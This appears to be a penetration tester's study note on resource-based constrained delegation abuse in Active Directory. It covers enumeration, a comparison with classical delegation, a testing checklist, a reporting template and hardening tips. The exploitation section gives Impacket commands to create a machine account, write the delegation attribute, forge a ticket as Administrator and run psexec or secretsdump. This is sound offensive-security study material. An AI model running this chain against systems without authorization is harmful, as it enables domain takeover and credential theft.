Resource-Based Constrained Delegation
Table of Contents
An Active Directory delegation model where the trust is configured
on the target resource rather than on the delegating account. The
target object's msDS-AllowedToActOnBehalfOfOtherIdentity attribute
lists which principals are permitted to impersonate arbitrary users
when authenticating to it via S4U2Proxy.
The critical distinction from classical constrained delegation: RBCD does not require Domain Admin (or any special AD role) to configure — it only requires a write primitive (GenericAll, GenericWrite, WriteProperty on that specific attribute, or AddAllowedToAct) on the target object. Anyone holding such a write right, plus the ability to create or control a machine account, can grant themselves delegation rights on the fly — the trust doesn't need to pre-exist.
Related: [[Denote query for ‘20260721T210000’]] BloodHound [[Denote query for ‘20260721T211500’]] Forward CTF Proxy CTF
1. Identifying Candidates
BloodHound surfaces this as an AddAllowedToAct edge (or
WriteAccountRestrictions*/*GenericAll*/*GenericWrite depending on
exact permission) pointing from a controlled principal toward a
target computer object. Unlike classical constrained delegation
(AllowedToDelegate edge, visible directly on the delegating
account), RBCD abuse potential is visible on the target object's
inbound permissions — check "Inbound Object Control" on any computer
object of interest, including the domain controller itself.
Manually, via LDAP:
ldapsearch -x -H ldap://$DC -D "user@domain" -w 'password' \ -b "dc=domain,dc=local" "(objectClass=computer)" \ msDS-AllowedToActOnBehalfOfOtherIdentity
2. Exploitation
- Step 1: Obtain a controllable machine account
RBCD abuse requires impersonating from a machine account with a known password/hash. If the domain's default
ms-DS-MachineAccountQuota(commonly 10) hasn't been reduced to 0, any authenticated domain user can create one:impacket-addcomputer -computer-name '<name>$' -computer-pass '<password>' \ <domain>/<account>:'<password>' -dc-ip $DC
- Step 2: Write the RBCD attribute on the target
Using the write primitive identified in enumeration:
impacket-rbcd -delegate-to '<target_computer>$' -delegate-from '<controlled_account>$' \ -action write <domain>/<account>:'<password>' -dc-ip $DC
- Step 3: S4U2Self / S4U2Proxy — forge a ticket as any user
Using the controlled account's own credentials, request a service ticket impersonating a high-privilege user (commonly Administrator) toward the target:
impacket-getST -spn <service>/<target_host> -impersonate Administrator \ <domain>/<controlled_account>\$:'<password>' -dc-ip $DC
- Step 4: Use the forged ticket
export KRB5CCNAME=<ticket>.ccache impacket-psexec -k -no-pass -target-ip <ip> <target_host> # or impacket-secretsdump -k -no-pass -target-ip <ip> <target_host>
3. RBCD vs Classical Constrained Delegation
| Aspect | Classical Constrained Delegation | Resource-Based Constrained Delegation (RBCD) |
|---|---|---|
| Trust configured on | The delegating account (AllowedToDelegateTo) |
The target resource (msDS-AllowedToActOnBehalfOfOtherIdentity) |
| Requires | An existing, pre-configured trust to abuse | Only a write primitive on the target — trust can be created from scratch |
| Typical discovery signal | AllowedToDelegate edge on the source account |
AddAllowedToAct=/=GenericAll=/=GenericWrite edge pointing at the target |
| Who can set it up | Traditionally required elevated rights to configure | Any principal with a write right on that one attribute — often a much lower bar |
| BloodHound source of edge | Outbound from the delegating account | Inbound on the target object |
Both converge on the same final exploitation primitive (S4U2Self/S4U2Proxy), but the discovery process and root-cause misconfiguration are different — worth keeping the distinction precise for exam classification, since the remediation differs too (see below).
4. Testing Methodology / Checklist
[ ]Check inbound object control on any computer object of interest, especially the domain controller — RBCD write rights on the DC itself are the highest-impact case[ ]Confirm machine account quota permits creating a controlled account, or identify an existing one already under your control[ ]Confirm target hostname resolves properly (/etc/hosts) before any Kerberos ticket operations[ ]After forging the ticket, if a connection times out despite a valid ticket (klistconfirms validity, target port is reachable), try explicitly passing-target-ipto separate SPN hostname matching from the actual connection — this is a known rough edge in some Impacket versions/environments, not necessarily a sign the delegation chain failed
5. Reporting Template
Classification: Broken Access Control (Active Directory) — Resource-Based Constrained Delegation Abuse Severity: Critical — a single write primitive on any computer object, especially a domain controller, converts into full impersonation of any domain user against that resource
Tips
- Machine account quota (
ms-DS-MachineAccountQuota, default 10) is itself worth flagging as a secondary finding when RBCD abuse depends on it — reducing this to 0 is a standard hardening recommendation and directly closes off the "create your own attacker-controlled computer account" step - Remediation differs from classical constrained delegation: fixing
RBCD means restricting who holds write rights to
msDS-AllowedToActOnBehalfOfOtherIdentityon sensitive objects (particularly DCs), not removing a specificAllowedToDelegateToentry - Always re-check BloodHound's Pathfinding after every credential upgrade during an engagement — an account with zero outbound control edges can still be one password-reuse hop away from an account that has a direct RBCD write path, as seen in Forward CTF
- Same troubleshooting caveat as classical constrained delegation
applies: Kerberos SPN matching is hostname-sensitive, and
Impacket's post-ticket connection step can time out on hostname
resolution even with a fully valid ticket — confirm with
klistbefore assuming the delegation chain itself failed